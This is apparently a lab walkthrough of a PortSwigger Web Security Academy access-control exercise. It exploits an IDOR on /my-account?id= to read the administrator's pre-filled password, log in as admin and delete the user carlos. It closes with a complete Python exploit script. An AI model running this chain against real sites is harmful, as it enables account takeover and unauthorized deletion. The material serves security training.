Lab: User ID controlled by request parameter with password disclosure
Original lab: Lab: User ID controlled by request parameter with password disclosure on PortSwigger ↗
An IDOR that leaks another user's API key is bad. An IDOR that leaks the *administrator's password* turns a horizontal information leak into full vertical privilege escalation in one request. This lab chains the same identifier-tampering flaw seen throughout this series into an account takeover, by pointing it at a page that happens to render a password field with the value already filled in.
The Target
The now-familiar /my-account?id=<username> pattern, on an account page that includes a password change form. For an ordinary account, that field is naturally blank. For the administrator account specifically, the field comes pre-filled — a convenience feature ("show me my current setting") that becomes a liability the moment the IDOR from Lab 5 is pointed at it.
The Investigation
We already knew from Lab 5 that swapping the id parameter returns another account's page under our own session. The only new question here was what that page actually contains for the administrator account specifically — and account pages with editable password fields are worth checking for exactly this pattern, because a masked <input type="password"> still has to carry its current value in the markup for a browser to display it, masked or not.
Extracting that value turned out to need more care than a single regex pattern. PortSwigger labs render the input's attributes with inconsistent quoting — some single-quoted, some double-quoted, some unquoted — so a regex written for one style silently misses the others:
<input type=password name=password value='...'>
regex: name=.?password.?[^>]*value=["\']([^"\']+)["\']
-- Key: PortSwigger labs use single-quoted, unquoted attributes — regex must handle all quote styles
The Exploit
Logged in as wiener, we requested the administrator's account page via the same IDOR used in Lab 5:
GET /my-account?id=administrator
resp = client.get(f"{base}/my-account", params={"id": "administrator"})
pw_match = re.search(r'name=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)
The regex pulled the administrator's actual password straight out of the pre-filled input field. We logged in as administrator with the recovered credential, opened /admin, located the delete link for carlos, and followed it — solving the lab.
Comparing Notes: PortSwigger's Official Solution
PortSwigger's solution is the same chain: log in, change id to administrator, observe the response contains the administrator's password, log in as administrator, delete carlos. This matches our approach exactly — same IDOR, same target field, same escalation path from leaked password to admin panel access.
The only difference is extraction mechanics: Burp Repeater lets a human just read the value straight off the rendered response body, while our script needed a regex robust enough to handle whatever quoting style the specific input tag used. That's a scripting-specific wrinkle, not a difference in the underlying exploit.
What This Teaches Us
This lab is a reminder that IDOR impact isn't fixed by the vulnerability class — it's set by what the exposed page happens to contain. The same missing ownership check that leaked an API key in Lab 5 leaks a plaintext-equivalent password here, purely because this particular account page renders a password field pre-filled for convenience. Pre-filling sensitive fields for the "current user" is already a questionable pattern; doing it on a page reachable by anyone who can control the id parameter turns a UX shortcut into a direct path to full account takeover.
The automated solution
Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.
Show the solution script (Python)
#!/usr/bin/env python3
"""
User ID controlled by request parameter with password disclosure
PortSwigger Web Security Academy -- Access Control
Companion script for the writeup: 08-user-id-controlled-password-disclosure.md
What this does:
Logs in as wiener and requests /my-account?id=administrator via the same
IDOR as the earlier id-parameter labs. The administrator's account page
pre-fills its password change field with the current value, so a
quote-tolerant regex (PortSwigger labs mix single/double/unquoted HTML
attributes) pulls the plaintext password straight out of the markup.
Logs back in as administrator with the recovered password, opens /admin,
and deletes carlos.
Usage:
python 08-user-id-controlled-password-disclosure.py <lab-url>
Requirements:
pip install httpx
"""
import re
import sys
import httpx
from urllib.parse import urljoin
def get_csrf(html: str) -> str:
m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
return m.group(1) if m else ""
def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
login_page = client.get(f"{base}/login")
csrf = get_csrf(login_page.text)
return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})
def solve(lab_url: str) -> None:
client = httpx.Client(follow_redirects=True, timeout=15)
login(client, lab_url, "wiener", "peter")
resp = client.get(f"{lab_url}/my-account", params={"id": "administrator"})
print(f"[*] /my-account?id=administrator: {resp.status_code}")
# Handles single-quoted, double-quoted, and unquoted attribute styles.
pw_match = re.search(r'name=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)
if not pw_match:
pw_match = re.search(r'type=.?password.?[^>]*value=["\']([^"\']+)["\']', resp.text)
if not pw_match:
pw_match = re.search(r'value=["\']([^"\']+)["\'][^>]*type=.?password', resp.text)
if not pw_match:
print("[-] Could not extract administrator password.")
return
admin_pw = pw_match.group(1)
print(f"[+] Administrator password: {admin_pw}")
login(client, lab_url, "administrator", admin_pw)
resp = client.get(f"{lab_url}/admin")
delete_match = re.search(r'href="([^"]*\?username=carlos[^"]*)"', resp.text, re.IGNORECASE)
if not delete_match:
delete_match = re.search(r'href="([^"]*delete[^"]*carlos[^"]*)"', resp.text, re.IGNORECASE)
if delete_match:
delete_path = delete_match.group(1)
delete_url = f"{lab_url}{delete_path}" if delete_path.startswith("/") else urljoin(f"{lab_url}/admin/", delete_path)
client.get(delete_url)
else:
client.get(f"{lab_url}/admin/delete", params={"username": "carlos"})
check = client.get(lab_url)
if "Congratulations" in check.text:
print("[+] Lab solved -- administrator password leaked via IDOR, carlos deleted.")
else:
print("[-] Not solved yet -- confirm the extracted password logs in successfully.")
if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: python {sys.argv[0]} <lab-url>")
sys.exit(1)
solve(sys.argv[1].rstrip("/"))
Related labs
- Lab: Unprotected admin functionality
- Lab: Unprotected admin functionality with unpredictable URL
- Lab: User role controlled by request parameter
- Lab: User role can be modified in user profile
Want to go from zero to junior pentester?
These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.
Join the Free Live Webinar →